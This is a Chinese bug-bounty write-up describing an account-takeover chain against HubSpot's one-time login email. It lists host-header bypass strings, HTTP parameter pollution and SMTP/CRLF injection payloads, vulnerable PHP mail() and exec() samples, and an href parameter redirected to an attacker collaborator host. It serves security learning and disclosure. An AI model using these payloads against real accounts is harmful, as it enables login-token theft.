正文
我们测试的子域为 https://growanz.hubspot.com。其认证功能中有一个 “忘记注册号” 功能。
这个功能会要求我们输入电子邮件地址,接着系统将发送一条一次性链接,用于无需注册号(密码)直接登录:
SQL 注入
由于存在 email 参数,后台必然有某种类型的数据库来处理这些电子邮件地址。因此,email 参数成为测试SQL注入的最佳位置。
经过一番测试,未发现问题。
主机头污染
开发人员通常会在重置密码的 URI 中使用 HOST Header 值,例如:
$ForgotPassURI = "https://{$_SERVER['HTTP_HOST']}/dream-auth/forgot?registration=$token&email=$email";
并未发现问题。
负载均衡器主机头覆盖
有时候,用户与服务器之间可能会存在负载均衡器或反向代理服务器。如果开发人员使用了 HOST Header,他们可能会获得负载均衡器的主机值。因此,开发人员通常会改用 X-Forwarded-Host Header,因为负载均衡器会将原始 HOST Header 值保存到 X-Forwarded-Host Header 中。
原则上,这个 Header 不应该被用户修改,但某些弱配置的负载均衡器或反向代理服务器可能会允许用户输入来重写这个 Header,这使得这个 Header 成为测试的理想目标。
测试结果如图:
尽管测试后邮件发送成功,但在检查邮件时,我发现“忘记注册号”的链接依然包含 growanz.hubspot.com,并未指向受控域名。
Referer Header 测试
一些开发人员可能会认为,访问“忘记密码”端点时,必须从主子域名发起请求,因此他们会在重置密码的逻辑中依赖 Referer Header 的值:
$ForgotPassURI = "https://{$_SERVER['HTTP_REFERER']}/dream-auth-forgot?registration=$token&email=$email";
并未发现任何问题。
ORIGIN Header 测试
接下来,我尝试测试 Origin Header。
一些开发人员可能会将 Origin Header 的值用作“忘记密码”链接的构建依据。代码可能如下所示:
$ForgotPassURI = "https://{$_SERVER['HTTP_ORIGIN']}/dream-auth-forgot?registration=$token&email=$email";
测试未成功,链接仍未指向我的受控域名。
绕过正则表达式验证
开发者可能在之前的技术中使用了正则表达式来验证用户输入。如果输入匹配正则表达式,他们会发送到我们的自定义域;如果不匹配,则会发送到配置文件中的默认子域。因此,我尝试通过以下方式绕过验证。
尝试1: 绕过主机名包含域名的匹配
growanz.hubspot.com.mydomain.com
尝试2: 使用弱正则表达式匹配
假设系统可能用到的正则表达式类似于:
^growanz.hubspot.com$|^example.virtual.host$
growanzXhubspot.com
尝试3: 绕过匹配以域名结尾的限制
mydomain.com/growanz.hubspot.com
尝试4: 绕过白名单验证
使用 # 和 URL 编码:
mydomain.com%[email protected]
mydomain.com%25%32%[email protected]
上述绕过方法在之前提到的各个 Header(如 Host Header、X-Forwarded-Host Header 等)测试中均未奏效。
因此,我决定转而测试 email 参数。
HTTP参数污染(HPP)
现如今,应用程序的开发中会使用不同类型的架构,如单体架构、事件驱动架构(EDA)、面向服务架构(SOA)和微服务架构。
随着微服务架构的流行,它带来了许多单体架构所不具备的优势,这些优势有助于扩展我们的攻击面。那么,如果我们的目标依赖于微服务架构,并且微服务之间使用RESTful API进行通信,我们该如何进行挖掘呢?
我制作了这个图表作为我们场景的简单示例。
假设我们的重置密码请求首先传递给一个依赖JSP的微服务,该微服务处理与数据库相关的请求(例如,重置密码邮件)。如果该邮箱存在,微服务会响应业务路由逻辑,然后将原始请求再次路由到处理SMTP服务的PHP微服务,负责发送重置密码邮件。
因此,如果我们的目标使用了微服务架构,我们需要测试其他攻击方式,例如HTTP参数污染(HPP)。
根据这个表格,如果我们将两个参数传递给PHP,它将使用第二个参数,而像JSP这样的其他技术会使用第一个参数。
// HTTP 参数污染(HPP)
{"email":"victim@mail.com","email":"attacker@mail.com"}
因此,如果我们的请求传递给处理数据库的JSP微服务,它会根据第一个邮箱创建重置密码的URI,但当请求再次路由到PHP时,它会将重置密码邮件发送到第二个邮箱。
在检查邮件后,我并未发现问题。
攻击链(SMTP注入和HTTP参数污染)
在这里,我将使用PHP作为示例来说明。实际上这些攻击适用于其他依赖SMTP解析器和服务的技术。
假设你的邮件地址是这样处理的:
<?php
// 这是使用mail函数的简单示例
if(isset($_POST['email'])) {
$to = $_POST['email'];
$subject = "忘记注册号";
$message = "
<html>
<body>
<h1>示例:登录你的账户</h1>
点击此一次性链接
<a>https://growanz.hubspot.com/login?registration=$RegesNum&email=$to</a>
<html>
<body>";
$subject = '重置密码';
// 设置SMTP头
$additional_headers = "From: [email protected]" .
"Content-type: text/html;";
$additional_params = "";
mail($to, $subject, $message, $additional_headers, $additional_params);
}
?>
所以接下来让我们攻击$to参数。
攻击$to参数
一些开发者使用$to参数来输入用户的邮件地址,但没有进行验证,因为他们预期邮件只会发送给该用户。然而,他们忽略了用户可以使用分隔符添加另一个邮箱来发送忘记密码邮件。
根据官方文档,我们可以使用“,”作为分隔符,但我们需要通过HTTP参数污染来链式攻击,方法是将受害者的邮箱作为另一个参数传入。因为当应用程序处理数据库来重置密码时,它会找到有效的邮箱并执行查询。
因此,当处理数据库的微服务找到正确的邮箱并执行数据库查询时,另一个处理SMTP服务的微服务如果实现了错误的验证,将会发现受害者的邮箱。
// 使用逗号作为分隔符结合 HPP 链
{"email":"Victim@gmail.com,Attacker@gmail.com","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected],[email protected]"}
让我们交换参数的值:
返回success,但是在检查我的邮件后,我仍然没发现问题。
经过测试,我发现PHP接受其他未在官方文档中列出的分隔符,例如空格和“;”,这为我们提供了一个新的思路,因为开发人员可能只对“,”进行验证以防止添加另一个邮件地址,但他们可能忽略了空格或“;”的验证。
示例如下:
//分号分隔符与HPP链式攻击
{"email":"[email protected];[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected];[email protected]"}
//空格分隔符与HPP链式攻击
{"email":"[email protected]%[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%[email protected]"}
CRLF注入
注意:在Unix系统中,我们只能添加n作为换行符来进行SMTP头注入,但在Windows系统中,需要添加rn来进行SMTP头注入攻击。
Unix系统(n URL编码)
//抄送(CC:)与HPP链式攻击
{"email":"[email protected]%0Acc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%0Acc:[email protected]"}
//密送(BCC:)与HPP链式攻击
{"email": "[email protected]%0Abcc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%0Abcc:[email protected]"}
Windows系统(rn URL编码)
//抄送(CC:)与HPP链式攻击
{"email":"[email protected]%0D%0Acc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%0D%0Acc:[email protected]"}
//密送(BCC:)与HPP链式攻击
{"email": "[email protected]%0D%0Abcc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email": "[email protected]%0D%0Abcc:[email protected]"}
结果如图:
仍然没有奏效。
那么,如果版本稍微更新了一些,并且在$to参数中对CRLF注入或SMTP头注入进行了保护,如何处理呢?
作为保护,mail()函数开始将像换行符或回车符这样的控制字符在$subject和$to参数中转换为空格。
但幸运的是,这个保护有一个绕过方法。这里我们不再深入讨论绕过的细节,我们直接在email参数中使用这个绕过,它将被注入到$to参数中:
//绕过mail()函数进行HPP链式攻击
{"email":"[email protected] ncc: [email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected] ncc: [email protected]"}
那么,如果用户输入的电子邮件值被注入到开发者用于某些逻辑的头部,并且这个值被传递到$additional_headers参数中怎么办?
攻击$additional_headers参数
$additional_headers参数用于添加开发者需要的其他头部,例如,如果邮件包含HTML数据,开发者可能需要设置Content-type: text/html头部,以便在用户的浏览器中解析数据为HTML,或者添加From: [email protected]头部。
那么,如果出于某种开发逻辑,开发者将用户输入的电子邮件添加到$additional_headers参数中,这时我们应该通过SMTP头注入(CRLF注入)攻击它,因为根据官方文档,防止在$additional_headers参数中进行CRLF注入是开发者的责任。
但我们之前已经尝试了这些攻击。
甚至像SMTP头注入这样的攻击,通常出现在“联系我们”表单中,而不是在重置密码功能中,但有时候开发者会犯一些低级错误,这也是值得一试的原因。
操作系统命令注入
由于PHP依赖于/usr/sbin/sendmail命令来发送邮件,一些开发者可能更喜欢使用命令行来发送电子邮件,而不是内置函数。
简单示例:
$json = file_get_contents('php://input');
$json = json_decode($json, true);
$to = $json['email'];
$command = "echo 'Example: to login into your account click on this magic link https://growanz.hubspot.com/login?registration=$token&email=$to | mail -s 'Forgot Password Mail' $to";
exec($command);
email数组
使用SMTP发送邮件不仅限于发送重置密码邮件,它也用于发送一些内部邮件或像大多数应用程序中常见的功能,如“订阅我们的新闻源”等。
发送邮件给所有用户的一种常见方式是将它们放入数组中,例如$emails,然后使用像implode(",", $emails)这样的函数,以“,”作为分隔符,一次性发送邮件给所有的邮箱,这样可以提供高性能的操作,其时间复杂度为O(1),而不是迭代方式的O(n)。
但有时,开发者大多数时候不会一次又一次地从头编写代码,而是复制代码并根据需要进行修改。
示例如下:
$json = file_get_contents('php://input');
$to = json_decode($json, true);
// 发送邮件
mail(implode(",", $to['email']), $subject, $message, $headers);
//电子邮件数组
{"email":["[email protected]","[email protected]"]}
但是也没有成功。
查看上图的错误信息,会注意到它告诉我们“$to参数”不是有效的地址,这至少表明在所有这些攻击之后,我的后端代码预测是准确的,即使我们还没有发现任何漏洞。
参数暴力破解
无论如何,我们应该利用API的错误信息,所以我认为是时候使用Arjun了,也许会有一些隐藏的参数。
Arjun没有输出任何结果。
实际上,这有点奇怪,因为我们已经有了一个有效的email参数。所以现在我打算手动进行参数暴力破解。
我抓取了Arjun的参数,并将每个参数的值替换为包含所有特殊字符的参数名,目的是通过引发错误来检测API使用了哪个参数。我使用了这个简单的Python脚本:
params = open("Arjun/arjun/db/large.txt","r").readlines()
params = set(params)
NewParams = set()
for param inparams:
NewParams.add('"'+param.strip()+'"'+":"+'"'+param.strip()+
''!@#$%^&*)(?><",')
NewParamsFile = open("new-params","w")
for param in NewParams:
NewParamsFile.write(param+"n")
看来后台使用了href,而Arjun并没有检测到这个参数,这也给了我们一个宝贵的经验教训(不要依赖工具,如果你不知道工具在后台做了什么)。
Arjun没有检测到这个参数的原因是:它为每个参数值添加了4个数字,这意味着email参数的值将是无效的,从而导致服务器始终返回“Invalid value for email parameter”的错误响应。由于Arjun是通过检查响应的content-length头部来判断是否存在改变内容长度的动态参数,而由于email值始终无效,这导致Arjun未能检测到这些参数。
回到正文。如果你了解HTML基础知识,你肯定知道href(超链接引用)值通常是URL。所以,第一个问题出现在我脑海里:
- 为什么他们在这里使用了href参数?
- 他们是否在忘记注册邮件中使用了href参数?
为了回答这些问题,我在href参数中注入了Burp collaborator。
再看看我们的电子邮件:
从上图中可以看到,我们已经收到了来自 hubspot.com 域的邮件。
点击一次性链接:
如图,当点击这个一次性链接时,它并不会让用户登录,而是会向我控制的 Burp Collaborator 服务器发送请求,这样我就能接收到受害者的凭证。
培训咨询v
bc52013 或 linglongsec
SRC漏洞挖掘培训
往期漏洞分享
玲珑安全B站公开课
https://space.bilibili.com/602205041
玲珑安全QQ群
191400300
原文始发于微信公众号(芳华绝代安全团队):【万字详析】HubSpot 账户接管全流程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论